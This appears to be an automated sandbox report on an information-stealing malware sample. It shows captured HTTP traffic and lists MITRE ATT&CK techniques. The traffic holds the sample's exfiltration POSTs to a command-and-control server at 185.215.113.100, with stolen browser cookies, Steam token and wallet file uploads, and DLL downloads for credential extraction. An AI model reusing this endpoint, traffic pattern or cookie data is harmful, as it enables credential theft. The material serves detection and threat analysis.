name="message"fplugins------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJDHost: 185.215.113.100Content-Length: 7067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.100Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1n
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJEHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file"------GHIDHCBGDHJKEBGDGIJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFCHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="file"------HJKECAAAFHJECAAAEBFC--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 185.215.113.100Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJKHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"wallets------HDAFBAEBKJKFIDHJJKJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJHost: 185.215.113.100Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="message"files------FHIEBKKFHIEGCAKECGHJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBGHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 2d 2d 0d 0a Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file"------CGDHIEGCFHCGDGCAECBG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGHHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="message"ybncbhylepme------IJDGIIEBFCBAAAAKKEGH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAKHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAKKECFBGIIIEBGDGDAK--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

